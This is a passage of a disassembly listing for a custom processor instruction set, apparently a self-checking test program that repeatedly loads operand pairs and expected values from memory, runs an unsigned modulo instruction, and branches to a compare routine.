b2fc: 00 10 00 41 add r2,1
b300: 0d 41 b5 1c wl16 r8,0xdbc
b304: 0d 60 01 03 wh16 r8,0x3
b308: 10 40 01 08 ld32 r8,r8
b30c: 0d 43 d6 18 wl16 r16,0x1eb8
b310: 0d 60 02 03 wh16 r16,0x3
b314: 10 40 02 10 ld32 r16,r16
b318: 0d 45 f5 34 wl16 r9,0x2fb4
b31c: 0d 60 01 23 wh16 r9,0x3
b320: 10 40 01 29 ld32 r9,r9
b324: 00 a0 01 10 umod r8,r16
b328: 20 70 03 e2 movepc rret,8
b32c: 14 30 d3 39 br 10 <compare>,#al
b330: 00 10 00 41 add r2,1
b334: 0d 41 b9 00 wl16 r8,0xdc0
b338: 0d 60 01 03 wh16 r8,0x3
b33c: 10 40 01 08 ld32 r8,r8
b340: 0d 43 d6 1c wl16 r16,0x1ebc
b344: 0d 60 02 03 wh16 r16,0x3
b348: 10 40 02 10 ld32 r16,r16
b34c: 0d 45 f5 38 wl16 r9,0x2fb8
b350: 0d 60 01 23 wh16 r9,0x3
b354: 10 40 01 29 ld32 r9,r9
b358: 00 a0 01 10 umod r8,r16
b35c: 20 70 03 e2 movepc rret,8
b360: 14 30 d3 2c br 10 <compare>,#al
b364: 00 10 00 41 add r2,1
b368: 0d 41 b9 04 wl16 r8,0xdc4
b36c: 0d 60 01 03 wh16 r8,0x3
b370: 10 40 01 08 ld32 r8,r8
b374: 0d 43 da 00 wl16 r16,0x1ec0
b378: 0d 60 02 03 wh16 r16,0x3
b37c: 10 40 02 10 ld32 r16,r16
b380: 0d 45 f5 3c wl16 r9,0x2fbc
b384: 0d 60 01 23 wh16 r9,0x3
b388: 10 40 01 29 ld32 r9,r9
b38c: 00 a0 01 10 umod r8,r16
b390: 20 70 03 e2 movepc rret,8
b394: 14 30 d3 1f br 10 <compare>,#al
b398: 00 10 00 41 add r2,1
b39c: 0d 41 b9 08 wl16 r8,0xdc8
b3a0: 0d 60 01 03 wh16 r8,0x3
b3a4: 10 40 01 08 ld32 r8,r8
b3a8: 0d 43 da 04 wl16 r16,0x1ec4
b3ac: 0d 60 02 03 wh16 r16,0x3
b3b0: 10 40 02 10 ld32 r16,r16
b3b4: 0d 45 f9 20 wl16 r9,0x2fc0
b3b8: 0d 60 01 23 wh16 r9,0x3
b3bc: 10 40 01 29 ld32 r9,r9
b3c0: 00 a0 01 10 umod r8,r16
b3c4: 20 70 03 e2 movepc rret,8
b3c8: 14 30 d3 12 br 10 <compare>,#al
b3cc: 00 10 00 41 add r2,1
b3d0: 0d 41 b9 0c wl16 r8,0xdcc
b3d4: 0d 60 01 03 wh16 r8,0x3
b3d8: 10 40 01 08 ld32 r8,r8
b3dc: 0d 43 da 08 wl16 r16,0x1ec8
b3e0: 0d 60 02 03 wh16 r16,0x3
b3e4: 10 40 02 10 ld32 r16,r16
b3e8: 0d 45 f9 24 wl16 r9,0x2fc4
b3ec: 0d 60 01 23 wh16 r9,0x3
b3f0: 10 40 01 29 ld32 r9,r9
b3f4: 00 a0 01 10 umod r8,r16
b3f8: 20 70 03 e2 movepc rret,8
b3fc: 14 30 d3 05 br 10 <compare>,#al
b400: 00 10 00 41 add r2,1
b404: 0d 41 b9 10 wl16 r8,0xdd0
b408: 0d 60 01 03 wh16 r8,0x3
b40c: 10 40 01 08 ld32 r8,r8
b410: 0d 43 da 0c wl16 r16,0x1ecc
b414: 0d 60 02 03 wh16 r16,0x3
b418: 10 40 02 10 ld32 r16,r16
b41c: 0d 45 f9 28 wl16 r9,0x2fc8
b420: 0d 60 01 23 wh16 r9,0x3
b424: 10 40 01 29 ld32 r9,r9
b428: 00 a0 01 10 umod r8,r16
b42c: 20 70 03 e2 movepc rret,8
b430: 14 30 d2 f8 br 10 <compare>,#al
b434: 00 10 00 41 add r2,1
b438: 0d 41 b9 14 wl16 r8,0xdd4
b43c: 0d 60 01 03 wh16 r8,0x3
b440: 10 40 01 08 ld32 r8,r8
b444: 0d 43 da 10 wl16 r16,0x1ed0
b448: 0d 60 02 03 wh16 r16,0x3
b44c: 10 40 02 10 ld32 r16,r16
b450: 0d 45 f9 2c wl16 r9,0x2fcc
b454: 0d 60 01 23 wh16 r9,0x3
b458: 10 40 01 29 ld32 r9,r9
b45c: 00 a0 01 10 umod r8,r16
b460: 20 70 03 e2 movepc rret,8
b464: 14 30 d2 eb br 10 <compare>,#al
b468: 00 10 00 41 add r2,1
b46c: 0d 41 b9 18 wl16 r8,0xdd8
b470: 0d 60 01 03 wh16 r8,0x3
b474: 10 40 01 08 ld32 r8,r8
b478: 0d 43 da 14 wl16 r16,0x1ed4
b47c: 0d 60 02 03 wh16 r16,0x3
b480: 10 40 02 10 ld32 r16,r16
b484: 0d 45 f9 30 wl16 r9,0x2fd0
b488: 0d 60 01 23 wh16 r9,0x3
b48c: 10 40 01 29 ld32 r9,r9
b490: 00 a0 01 10 umod r8,r16
b494: 20 70 03 e2 movepc rret,8
b498: 14 30 d2 de br 10 <compare>,#al
b49c: 00 10 00 41 add r2,1
b4a0: 0d 41 b9 1c wl16 r8,0xddc
b4a4: 0d 60 01 03 wh16 r8,0x3
b4a8: 10 40 01 08 ld32 r8,r8
b4ac: 0d 43 da 18 wl16 r16,0x1ed8
b4b0: 0d 60 02 03 wh16 r16,0x3
b4b4: 10 40 02 10 ld32 r16,r16
b4b8: 0d 45 f9 34 wl16 r9,0x2fd4
b4bc: 0d 60 01 23 wh16 r9,0x3
b4c0: 10 40 01 29 ld32 r9,r9
b4c4: 00 a0 01 10 umod r8,r16
b4c8: 20 70 03 e2 movepc rret,8
b4cc: 14 30 d2 d1 br 10 <compare>,#al
b4d0: 00 10 00 41 add r2,1
b4d4: 0d 41 bd 00 wl16 r8,0xde0
b4d8: 0d 60 01 03 wh16 r8,0x3
b4dc: 10 40 01 08 ld32 r8,r8
b4e0: 0d 43 da 1c wl16 r16,0x1edc
b4e4: 0d 60 02 03 wh16 r16,0x3
b4e8: 10 40 02 10 ld32 r16,r16
b4ec: 0d 45 f9 38 wl16 r9,0x2fd8
b4f0: 0d 60 01 23 wh16 r9,0x3
b4f4: 10 40 01 29 ld32 r9,r9
b4f8: 00 a0 01 10 umod r8,r16
b4fc: 20 70 03 e2 movepc rret,8
b500: 14 30 d2 c4 br 10 <compare>,#al
b504: 00 10 00 41 add r2,1
b508: 0d 41 bd 04 wl16 r8,0xde4
b50c: 0d 60 01 03 wh16 r8,0x3
b510: 10 40 01 08 ld32 r8,r8
b514: 0d 43 de 00 wl16 r16,0x1ee0
b518: 0d 60 02 03 wh16 r16,0x3
b51c: 10 40 02 10 ld32 r16,r16
b520: 0d 45 f9 3c wl16 r9,0x2fdc
b524: 0d 60 01 23 wh16 r9,0x3
b528: 10 40 01 29 ld32 r9,r9
b52c: 00 a0 01 10 umod r8,r16
b530: 20 70 03 e2 movepc rret,8
b534: 14 30 d2 b7 br 10 <compare>,#al
b538: 00 10 00 41 add r2,1
b53c: 0d 41 bd 08 wl16 r8,0xde8
b540: 0d 60 01 03 wh16 r8,0x3
b544: 10 40 01 08 ld32 r8,r8
b548: 0d 43 de 04 wl16 r16,0x1ee4
b54c: 0d 60 02 03 wh16 r16,0x3
b550: 10 40 02 10 ld32 r16,r16
b554: 0d 45 fd 20 wl16 r9,0x2fe0
b558: 0d 60 01 23 wh16 r9,0x3
b55c: 10 40 01 29 ld32 r9,r9
b560: 00 a0 01 10 umod r8,r16
b564: 20 70 03 e2 movepc rret,8
b568: 14 30 d2 aa br 10 <compare>,#al
b56c: 00 10 00 41 add r2,1
b570: 0d 41 bd 0c wl16 r8,0xdec
b574: 0d 60 01 03 wh16 r8,0x3
b578: 10 40 01 08 ld32 r8,r8
b57c: 0d 43 de 08 wl16 r16,0x1ee8
b580: 0d 60 02 03 wh16 r16,0x3
b584: 10 40 02 10 ld32 r16,r16
b588: 0d 45 fd 24 wl16 r9,0x2fe4
b58c: 0d 60 01 23 wh16 r9,0x3
b590: 10 40 01 29 ld32 r9,r9
b594: 00 a0 01 10 umod r8,r16
b598: 20 70 03 e2 movepc rret,8
b59c: 14 30 d2 9d br 10 <compare>,#al
b5a0: 00 10 00 41 add r2,1
b5a4: 0d 41 bd 10 wl16 r8,0xdf0
b5a8: 0d 60 01 03 wh16 r8,0x3
b5ac: 10 40 01 08 ld32 r8,r8
b5b0: 0d 43 de 0c wl16 r16,0x1eec
b5b4: 0d 60 02 03 wh16 r16,0x3
b5b8: 10 40 02 10 ld32 r16,r16
b5bc: 0d 45 fd 28 wl16 r9,0x2fe8
b5c0: 0d 60 01 23 wh16 r9,0x3
b5c4: 10 40 01 29 ld32 r9,r9
b5c8: 00 a0 01 10 umod r8,r16
b5cc: 20 70 03 e2 movepc rret,8
b5d0: 14 30 d2 90 br 10 <compare>,#al
b5d4: 00 10 00 41 add r2,1
b5d8: 0d 41 bd 14 wl16 r8,0xdf4
b5dc: 0d 60 01 03 wh16 r8,0x3
b5e0: 10 40 01 08 ld32 r8,r8
b5e4: 0d 43 de 10 wl16 r16,0x1ef0
b5e8: 0d 60 02 03 wh16 r16,0x3
b5ec: 10 40 02 10 ld32 r16,r16
b5f0: 0d 45 fd 2c wl16 r9,0x2fec
b5f4: 0d 60 01 23 wh16 r9,0x3
b5f8: 10 40 01 29 ld32 r9,r9
b5fc: 00 a0 01 10 umod r8,r16
b600: 20 70 03 e2 movepc rret,8
b604: 14 30 d2 83 br 10 <compare>,#al
b608: 00 10 00 41 add r2,1
b60c: 0d 41 bd 18 wl16 r8,0xdf8
b610: 0d 60 01 03 wh16 r8,0x3
b614: 10 40 01 08 ld32 r8,r8
b618: 0d 43 de 14 wl16 r16,0x1ef4
b61c: 0d 60 02 03 wh16 r16,0x3
b620: 10 40 02 10 ld32 r16,r16
b624: 0d 45 fd 30 wl16 r9,0x2ff0
b628: 0d 60 01 23 wh16 r9,0x3
b62c: 10 40 01 29 ld32 r9,r9
b630: 00 a0 01 10 umod r8,r16
b634: 20 70 03 e2 movepc rret,8
b638: 14 30 d2 76 br 10 <compare>,#al
b63c: 00 10 00 41 add r2,1
b640: 0d 41 bd 1c wl16 r8,0xdfc
b644: 0d 60 01 03 wh16 r8,0x3
b648: 10 40 01 08 ld32 r8,r8
b64c: 0d 43 de 18 wl16 r16,0x1ef8
b650: 0d 60 02 03 wh16 r16,0x3
b654: 10 40 02 10 ld32 r16,r16
b658: 0d 45 fd 34 wl16 r9,0x2ff4
b65c: 0d 60 01 23 wh16 r9,0x3
b660: 10 40 01 29 ld32 r9,r9
b664: 00 a0 01 10 umod r8,r16
b668: 20 70 03 e2 movepc rret,8
b66c: 14 30 d2 69 br 10 <compare>,#al
b670: 00 10 00 41 add r2,1
b674: 0d 41 c1 00 wl16 r8,0xe00
b678: 0d 60 01 03 wh16 r8,0x3
b67c: 10 40 01 08 ld32 r8,r8
b680: 0d 43 de 1c wl16 r16,0x1efc
b684: 0d 60 02 03 wh16 r16,0x3
b688: 10 40 02 10 ld32 r16,r16
b68c: 0d 45 fd 38 wl16 r9,0x2ff8
b690: 0d 60 01 23 wh16 r9,0x3
b694: 10 40 01 29 ld32 r9,r9
b698: 00 a0 01 10 umod r8,r16
b69c: 20 70 03 e2 movepc rret,8
b6a0: 14 30 d2 5c br 10 <compare>,#al
b6a4: 00 10 00 41 add r2,1
b6a8: 0d 41 c1 04 wl16 r8,0xe04
b6ac: 0d 60 01 03 wh16 r8,0x3
b6b0: 10 40 01 08 ld32 r8,r8
b6b4: 0d 43 e2 00 wl16 r16,0x1f00
b6b8: 0d 60 02 03 wh16 r16,0x3
b6bc: 10 40 02 10 ld32 r16,r16
b6c0: 0d 45 fd 3c wl16 r9,0x2ffc
b6c4: 0d 60 01 23 wh16 r9,0x3
b6c8: 10 40 01 29 ld32 r9,r9
b6cc: 00 a0 01 10 umod r8,r16
b6d0: 20 70 03 e2 movepc rret,8
b6d4: 14 30 d2 4f br 10 <compare>,#al
b6d8: 00 10 00 41 add r2,1
b6dc: 0d 41 c1 08 wl16 r8,0xe08
b6e0: 0d 60 01 03 wh16 r8,0x3
b6e4: 10 40 01 08 ld32 r8,r8
b6e8: 0d 43 e2 04 wl16 r16,0x1f04
b6ec: 0d 60 02 03 wh16 r16,0x3
b6f0: 10 40 02 10 ld32 r16,r16
b6f4: 0d 46 01 20 wl16 r9,0x3000
b6f8: 0d 60 01 23 wh16 r9,0x3
b6fc: 10 40 01 29 ld32 r9,r9
b700: 00 a0 01 10 umod r8,r16
b704: 20 70 03 e2 movepc rret,8
b708: 14 30 d2 42 br 10 <compare>,#al
b70c: 00 10 00 41 add r2,1
b710: 0d 41 c1 0c wl16 r8,0xe0c
b714: 0d 60 01 03 wh16 r8,0x3
b718: 10 40 01 08 ld32 r8,r8
b71c: 0d 43 e2 08 wl16 r16,0x1f08
b720: 0d 60 02 03 wh16 r16,0x3
b724: 10 40 02 10 ld32 r16,r16
b728: 0d 46 01 24 wl16 r9,0x3004
b72c: 0d 60 01 23 wh16 r9,0x3
b730: 10 40 01 29 ld32 r9,r9
b734: 00 a0 01 10 umod r8,r16
b738: 20 70 03 e2 movepc rret,8
b73c: 14 30 d2 35 br 10 <compare>,#al
b740: 00 10 00 41 add r2,1
b744: 0d 41 c1 10 wl16 r8,0xe10
b748: 0d 60 01 03 wh16 r8,0x3
b74c: 10 40 01 08 ld32 r8,r8
b750: 0d 43 e2 0c wl16 r16,0x1f0c
b754: 0d 60 02 03 wh16 r16,0x3
b758: 10 40 02 10 ld32 r16,r16
b75c: 0d 46 01 28 wl16 r9,0x3008
b760: 0d 60 01 23 wh16 r9,0x3
b764: 10 40 01 29 ld32 r9,r9
b768: 00 a0 01 10 umod r8,r16
b76c: 20 70 03 e2 movepc rret,8
b770: 14 30 d2 28 br 10 <compare>,#al
b774: 00 10 00 41 add r2,1
b778: 0d 41 c1 14 wl16 r8,0xe14
b77c: 0d 60 01 03 wh16 r8,0x3
b780: 10 40 01 08 ld32 r8,r8
b784: 0d 43 e2 10 wl16 r16,0x1f10
b788: 0d 60 02 03 wh16 r16,0x3
b78c: 10 40 02 10 ld32 r16,r16
b790: 0d 46 01 2c wl16 r9,0x300c
b794: 0d 60 01 23 wh16 r9,0x3
b798: 10 40 01 29 ld32 r9,r9
b79c: 00 a0 01 10 umod r8,r16
b7a0: 20 70 03 e2 movepc rret,8
b7a4: 14 30 d2 1b br 10 <compare>,#al
b7a8: 00 10 00 41 add r2,1
b7ac: 0d 41 c1 18 wl16 r8,0xe18
b7b0: 0d 60 01 03 wh16 r8,0x3
b7b4: 10 40 01 08 ld32 r8,r8
b7b8: 0d 43 e2 14 wl16 r16,0x1f14
b7bc: 0d 60 02 03 wh16 r16,0x3
b7c0: 10 40 02 10 ld32 r16,r16
b7c4: 0d 46 01 30 wl16 r9,0x3010
b7c8: 0d 60 01 23 wh16 r9,0x3
b7cc: 10 40 01 29 ld32 r9,r9
b7d0: 00 a0 01 10 umod r8,r16
b7d4: 20 70 03 e2 movepc rret,8
b7d8: 14 30 d2 0e br 10 <compare>,#al
b7dc: 00 10 00 41 add r2,1
b7e0: 0d 41 c1 1c wl16 r8,0xe1c
b7e4: 0d 60 01 03 wh16 r8,0x3
b7e8: 10 40 01 08 ld32 r8,r8
b7ec: 0d 43 e2 18 wl16 r16,0x1f18
b7f0: 0d 60 02 03 wh16 r16,0x3
b7f4: 10 40 02 10 ld32 r16,r16
b7f8: 0d 46 01 34 wl16 r9,0x3014
b7fc: 0d 60 01 23 wh16 r9,0x3
b800: 10 40 01 29 ld32 r9,r9
b804: 00 a0 01 10 umod r8,r16
b808: 20 70 03 e2 movepc rret,8
b80c: 14 30 d2 01 br 10 <compare>,#al
b810: 00 10 00 41 add r2,1
b814: 0d 41 c5 00 wl16 r8,0xe20
b818: 0d 60 01 03 wh16 r8,0x3
b81c: 10 40 01 08 ld32 r8,r8
b820: 0d 43 e2 1c wl16 r16,0x1f1c
b824: 0d 60 02 03 wh16 r16,0x3
b828: 10 40 02 10 ld32 r16,r16
b82c: 0d 46 01 38 wl16 r9,0x3018
b830: 0d 60 01 23 wh16 r9,0x3
b834: 10 40 01 29 ld32 r9,r9
b838: 00 a0 01 10 umod r8,r16
b83c: 20 70 03 e2 movepc rret,8
b840: 14 30 d1 f4 br 10 <compare>,#al
b844: 00 10 00 41 add r2,1
b848: 0d 41 c5 04 wl16 r8,0xe24
b84c: 0d 60 01 03 wh16 r8,0x3
b850: 10 40 01 08 ld32 r8,r8
b854: 0d 43 e6 00 wl16 r16,0x1f20
b858: 0d 60 02 03 wh16 r16,0x3
b85c: 10 40 02 10 ld32 r16,r16
b860: 0d 46 01 3c wl16 r9,0x301c
b864: 0d 60 01 23 wh16 r9,0x3
b868: 10 40 01 29 ld32 r9,r9
b86c: 00 a0 01 10 umod r8,r16
b870: 20 70 03 e2 movepc rret,8
b874: 14 30 d1 e7 br 10 <compare>,#al
b878: 00 10 00 41 add r2,1
b87c: 0d 41 c5 08 wl16 r8,0xe28
b880: 0d 60 01 03 wh16 r8,0x3
b884: 10 40 01 08 ld32 r8,r8
b888: 0d 43 e6 04 wl16 r16,0x1f24
b88c: 0d 60 02 03 wh16 r16,0x3
b890: 10 40 02 10 ld32 r16,r16
b894: 0d 46 05 20 wl16 r9,0x3020
b898: 0d 60 01 23 wh16 r9,0x3
b89c: 10 40 01 29 ld32 r9,r9
b8a0: 00 a0 01 10 umod r8,r16
b8a4: 20 70 03 e2 movepc rret,8
b8a8: 14 30 d1 da br 10 <compare>,#al
b8ac: 00 10 00 41 add r2,1
b8b0: 0d 41 c5 0c wl16 r8,0xe2c
b8b4: 0d 60 01 03 wh16 r8,0x3
b8b8: 10 40 01 08 ld32 r8,r8
b8bc: 0d 43 e6 08 wl16 r16,0x1f28
b8c0: 0d 60 02 03 wh16 r16,0x3
b8c4: 10 40 02 10 ld32 r16,r16
b8c8: 0d 46 05 24 wl16 r9,0x3024
b8cc: 0d 60 01 23 wh16 r9,0x3
b8d0: 10 40 01 29 ld32 r9,r9
b8d4: 00 a0 01 10 umod r8,r16
b8d8: 20 70 03 e2 movepc rret,8
b8dc: 14 30 d1 cd br 10 <compare>,#al
b8e0: 00 10 00 41 add r2,1
b8e4: 0d 41 c5 10 wl16 r8,0xe30
b8e8: 0d 60 01 03 wh16 r8,0x3
b8ec: 10 40 01 08 ld32 r8,r8
b8f0: 0d 43 e6 0c wl16 r16,0x1f2c
b8f4: 0d 60 02 03 wh16 r16,0x3
b8f8: 10 40 02 10 ld32 r16,r16
b8fc: 0d 46 05 28 wl16 r9,0x3028
b900: 0d 60 01 23 wh16 r9,0x3
b904: 10 40 01 29 ld32 r9,r9
b908: 00 a0 01 10 umod r8,r16
b90c: 20 70 03 e2 movepc rret,8
b910: 14 30 d1 c0 br 10 <compare>,#al
b914: 00 10 00 41 add r2,1
b918: 0d 41 c5 14 wl16 r8,0xe34
b91c: 0d 60 01 03 wh16 r8,0x3
b920: 10 40 01 08 ld32 r8,r8
b924: 0d 43 e6 10 wl16 r16,0x1f30
b928: 0d 60 02 03 wh16 r16,0x3
b92c: 10 40 02 10 ld32 r16,r16
b930: 0d 46 05 2c wl16 r9,0x302c
b934: 0d 60 01 23 wh16 r9,0x3
b938: 10 40 01 29 ld32 r9,r9
b93c: 00 a0 01 10 umod r8,r16
b940: 20 70 03 e2 movepc rret,8
b944: 14 30 d1 b3 br 10 <compare>,#al
b948: 00 10 00 41 add r2,1
b94c: 0d 41 c5 18 wl16 r8,0xe38
b950: 0d 60 01 03 wh16 r8,0x3
b954: 10 40 01 08 ld32 r8,r8
b958: 0d 43 e6 14 wl16 r16,0x1f34
b95c: 0d 60 02 03 wh16 r16,0x3
b960: 10 40 02 10 ld32 r16,r16
b964: 0d 46 05 30 wl16 r9,0x3030
b968: 0d 60 01 23 wh16 r9,0x3
b96c: 10 40 01 29 ld32 r9,r9
b970: 00 a0 01 10 umod r8,r16
b974: 20 70 03 e2 movepc rret,8
b978: 14 30 d1 a6 br 10 <compare>,#al
b97c: 00 10 00 41 add r2,1
b980: 0d 41 c5 1c wl16 r8,0xe3c
b984: 0d 60 01 03 wh16 r8,0x3
b988: 10 40 01 08 ld32 r8,r8
b98c: 0d 43 e6 18 wl16 r16,0x1f38
b990: 0d 60 02 03 wh16 r16,0x3
b994: 10 40 02 10 ld32 r16,r16
b998: 0d 46 05 34 wl16 r9,0x3034
b99c: 0d 60 01 23 wh16 r9,0x3
b9a0: 10 40 01 29 ld32 r9,r9
b9a4: 00 a0 01 10 umod r8,r16
b9a8: 20 70 03 e2 movepc rret,8
b9ac: 14 30 d1 99 br 10 <compare>,#al
b9b0: 00 10 00 41 add r2,1
b9b4: 0d 41 c9 00 wl16 r8,0xe40
b9b8: 0d 60 01 03 wh16 r8,0x3
b9bc: 10 40 01 08 ld32 r8,r8
b9c0: 0d 43 e6 1c wl16 r16,0x1f3c
b9c4: 0d 60 02 03 wh16 r16,0x3
b9c8: 10 40 02 10 ld32 r16,r16
b9cc: 0d 46 05 38 wl16 r9,0x3038
b9d0: 0d 60 01 23 wh16 r9,0x3
b9d4: 10 40 01 29 ld32 r9,r9
b9d8: 00 a0 01 10 umod r8,r16
b9dc: 20 70 03 e2 movepc rret,8
b9e0: 14 30 d1 8c br 10 <compare>,#al
b9e4: 00 10 00 41 add r2,1
b9e8: 0d 41 c9 04 wl16 r8,0xe44
b9ec: 0d 60 01 03 wh16 r8,0x3
b9f0: 10 40 01 08 ld32 r8,r8
b9f4: 0d 43 ea 00 wl16 r16,0x1f40
b9f8: 0d 60 02 03 wh16 r16,0x3
b9fc: 10 40 02 10 ld32 r16,r16
ba00: 0d 46 05 3c wl16 r9,0x303c
ba04: 0d 60 01 23 wh16 r9,0x3
ba08: 10 40 01 29 ld32 r9,r9
ba0c: 00 a0 01 10 umod r8,r16
ba10: 20 70 03 e2 movepc rret,8
ba14: 14 30 d1 7f br 10 <compare>,#al
ba18: 00 10 00 41 add r2,1
ba1c: 0d 41 c9 08 wl16 r8,0xe48
ba20: 0d 60 01 03 wh16 r8,0x3
ba24: 10 40 01 08 ld32 r8,r8
ba28: 0d 43 ea 04 wl16 r16,0x1f44
ba2c: 0d 60 02 03 wh16 r16,0x3
ba30: 10 40 02 10 ld32 r16,r16
ba34: 0d 46 09 20 wl16 r9,0x3040
ba38: 0d 60 01 23 wh16 r9,0x3
ba3c: 10 40 01 29 ld32 r9,r9
ba40: 00 a0 01 10 umod r8,r16
ba44: 20 70 03 e2 movepc rret,8
ba48: 14 30 d1 72 br 10 <compare>,#al
ba4c: 00 10 00 41 add r2,1
ba50: 0d 41 c9 0c wl16 r8,0xe4c
ba54: 0d 60 01 03 wh16 r8,0x3
ba58: 10 40 01 08 ld32 r8,r8
ba5c: 0d 43 ea 08 wl16 r16,0x1f48
ba60: 0d 60 02 03 wh16 r16,0x3
ba64: 10 40 02 10 ld32 r16,r16
ba68: 0d 46 09 24 wl16 r9,0x3044
ba6c: 0d 60 01 23 wh16 r9,0x3
ba70: 10 40 01 29 ld32 r9,r9
ba74: 00 a0 01 10 umod r8,r16
ba78: 20 70 03 e2 movepc rret,8
ba7c: 14 30 d1 65 br 10 <compare>,#al
ba80: 00 10 00 41 add r2,1
ba84: 0d 41 c9 10 wl16 r8,0xe50
ba88: 0d 60 01 03 wh16 r8,0x3
ba8c: 10 40 01 08 ld32 r8,r8
ba90: 0d 43 ea 0c wl16 r16,0x1f4c
ba94: 0d 60 02 03 wh16 r16,0x3
ba98: 10 40 02 10 ld32 r16,r16
ba9c: 0d 46 09 28 wl16 r9,0x3048
baa0: 0d 60 01 23 wh16 r9,0x3
baa4: 10 40 01 29 ld32 r9,r9
baa8: 00 a0 01 10 umod r8,r16
baac: 20 70 03 e2 movepc rret,8
bab0: 14 30 d1 58 br 10 <compare>,#al
bab4: 00 10 00 41 add r2,1
bab8: 0d 41 c9 14 wl16 r8,0xe54
babc: 0d 60 01 03 wh16 r8,0x3
bac0: 10 40 01 08 ld32 r8,r8
bac4: 0d 43 ea 10 wl16 r16,0x1f50
bac8: 0d 60 02 03 wh16 r16,0x3
bacc: 10 40 02 10 ld32 r16,r16
bad0: 0d 46 09 2c wl16 r9,0x304c
bad4: 0d 60 01 23 wh16 r9,0x3
bad8: 10 40 01 29 ld32 r9,r9
badc: 00 a0 01 10 umod r8,r16
bae0: 20 70 03 e2 movepc rret,8
bae4: 14 30 d1 4b br 10 <compare>,#al
bae8: 00 10 00 41 add r2,1
baec: 0d 41 c9 18 wl16 r8,0xe58
baf0: 0d 60 01 03 wh16 r8,0x3
baf4: 10 40 01 08 ld32 r8,r8
baf8: 0d 43 ea 14 wl16 r16,0x1f54
bafc: 0d 60 02 03 wh16 r16,0x3
bb00: 10 40 02 10 ld32 r16,r16
bb04: 0d 46 09 30 wl16 r9,0x3050
bb08: 0d 60 01 23 wh16 r9,0x3
bb0c: 10 40 01 29 ld32 r9,r9
bb10: 00 a0 01 10 umod r8,r16
bb14: 20 70 03 e2 movepc rret,8
bb18: 14 30 d1 3e br 10 <compare>,#al
bb1c: 00 10 00 41 add r2,1
bb20: 0d 41 c9 1c wl16 r8,0xe5c
bb24: 0d 60 01 03 wh16 r8,0x3
bb28: 10 40 01 08 ld32 r8,r8
bb2c: 0d 43 ea 18 wl16 r16,0x1f58
bb30: 0d 60 02 03 wh16 r16,0x3
bb34: 10 40 02 10 ld32 r16,r16
bb38: 0d 46 09 34 wl16 r9,0x3054
bb3c: 0d 60 01 23 wh16 r9,0x3
bb40: 10 40 01 29 ld32 r9,r9
bb44: 00 a0 01 10 umod r8,r16
bb48: 20 70 03 e2 movepc rret,8
bb4c: 14 30 d1 31 br 10 <compare>,#al
bb50: 00 10 00 41 add r2,1
bb54: 0d 41 cd 00 wl16 r8,0xe60
bb58: 0d 60 01 03 wh16 r8,0x3
bb5c: 10 40 01 08 ld32 r8,r8
bb60: 0d 43 ea 1c wl16 r16,0x1f5c
bb64: 0d 60 02 03 wh16 r16,0x3
bb68: 10 40 02 10 ld32 r16,r16
bb6c: 0d 46 09 38 wl16 r9,0x3058
bb70: 0d 60 01 23 wh16 r9,0x3
bb74: 10 40 01 29 ld32 r9,r9
bb78: 00 a0 01 10 umod r8,r16
bb7c: 20 70 03 e2 movepc rret,8
bb80: 14 30 d1 24 br 10 <compare>,#al
bb84: 00 10 00 41 add r2,1
bb88: 0d 41 cd 04 wl16 r8,0xe64
bb8c: 0d 60 01 03 wh16 r8,0x3
bb90: 10 40 01 08 ld32 r8,r8
bb94: 0d 43 ee 00 wl16 r16,0x1f60
bb98: 0d 60 02 03 wh16 r16,0x3
bb9c: 10 40 02 10 ld32 r16,r16
bba0: 0d 46 09 3c wl16 r9,0x305c
bba4: 0d 60 01 23 wh16 r9,0x3
bba8: 10 40 01 29 ld32 r9,r9
bbac: 00 a0 01 10 umod r8,r16
bbb0: 20 70 03 e2 movepc rret,8
bbb4: 14 30 d1 17 br 10 <compare>,#al
bbb8: 00 10 00 41 add r2,1
bbbc: 0d 41 cd 08 wl16 r8,0xe68
bbc0: 0d 60 01 03 wh16 r8,0x3
bbc4: 10 40 01 08 ld32 r8,r8
bbc8: 0d 43 ee 04 wl16 r16,0x1f64
bbcc: 0d 60 02 03 wh16 r16,0x3
bbd0: 10 40 02 10 ld32 r16,r16
bbd4: 0d 46 0d 20 wl16 r9,0x3060
bbd8: 0d 60 01 23 wh16 r9,0x3
bbdc: 10 40 01 29 ld32 r9,r9
bbe0: 00 a0 01 10 umod r8,r16
bbe4: 20 70 03 e2 movepc rret,8
bbe8: 14 30 d1 0a br 10 <compare>,#al
bbec: 00 10 00 41 add r2,1
bbf0: 0d 41 cd 0c wl16 r8,0xe6c
bbf4: 0d 60 01 03 wh16 r8,0x3
bbf8: 10 40 01 08 ld32 r8,r8
bbfc: 0d 43 ee 08 wl16 r16,0x1f68
bc00: 0d 60 02 03 wh16 r16,0x3
bc04: 10 40 02 10 ld32 r16,r16
bc08: 0d 46 0d 24 wl16 r9,0x3064
bc0c: 0d 60 01 23 wh16 r9,0x3
bc10: 10 40 01 29 ld32 r9,r9
bc14: 00 a0 01 10 umod r8,r16
bc18: 20 70 03 e2 movepc rret,8
bc1c: 14 30 d0 fd br 10 <compare>,#al
bc20: 00 10 00 41 add r2,1
bc24: 0d 41 cd 10 wl16 r8,0xe70
bc28: 0d 60 01 03 wh16 r8,0x3
bc2c: 10 40 01 08 ld32 r8,r8
bc30: 0d 43 ee 0c wl16 r16,0x1f6c
bc34: 0d 60 02 03 wh16 r16,0x3
bc38: 10 40 02 10 ld32 r16,r16
bc3c: 0d 46 0d 28 wl16 r9,0x3068
bc40: 0d 60 01 23 wh16 r9,0x3
bc44: 10 40 01 29 ld32 r9,r9
bc48: 00 a0 01 10 umod r8,r16
bc4c: 20 70 03 e2 movepc rret,8
bc50: 14 30 d0 f0 br 10 <compare>,#al
bc54: 00 10 00 41 add r2,1
bc58: 0d 41 cd 14 wl16 r8,0xe74
bc5c: 0d 60 01 03 wh16 r8,0x3
bc60: 10 40 01 08 ld32 r8,r8
bc64: 0d 43 ee 10 wl16 r16,0x1f70
bc68: 0d 60 02 03 wh16 r16,0x3
bc6c: 10 40 02 10 ld32 r16,r16
bc70: 0d 46 0d 2c wl16 r9,0x306c
bc74: 0d 60 01 23 wh16 r9,0x3
bc78: 10 40 01 29 ld32 r9,r9
bc7c: 00 a0 01 10 umod r8,r16
bc80: 20 70 03 e2 movepc rret,8
bc84: 14 30 d0 e3 br 10 <compare>,#al
bc88: 00 10 00 41 add r2,1
bc8c: 0d 41 cd 18 wl16 r8,0xe78
bc90: 0d 60 01 03 wh16 r8,0x3
bc94: 10 40 01 08 ld32 r8,r8
bc98: 0d 43 ee 14 wl16 r16,0x1f74
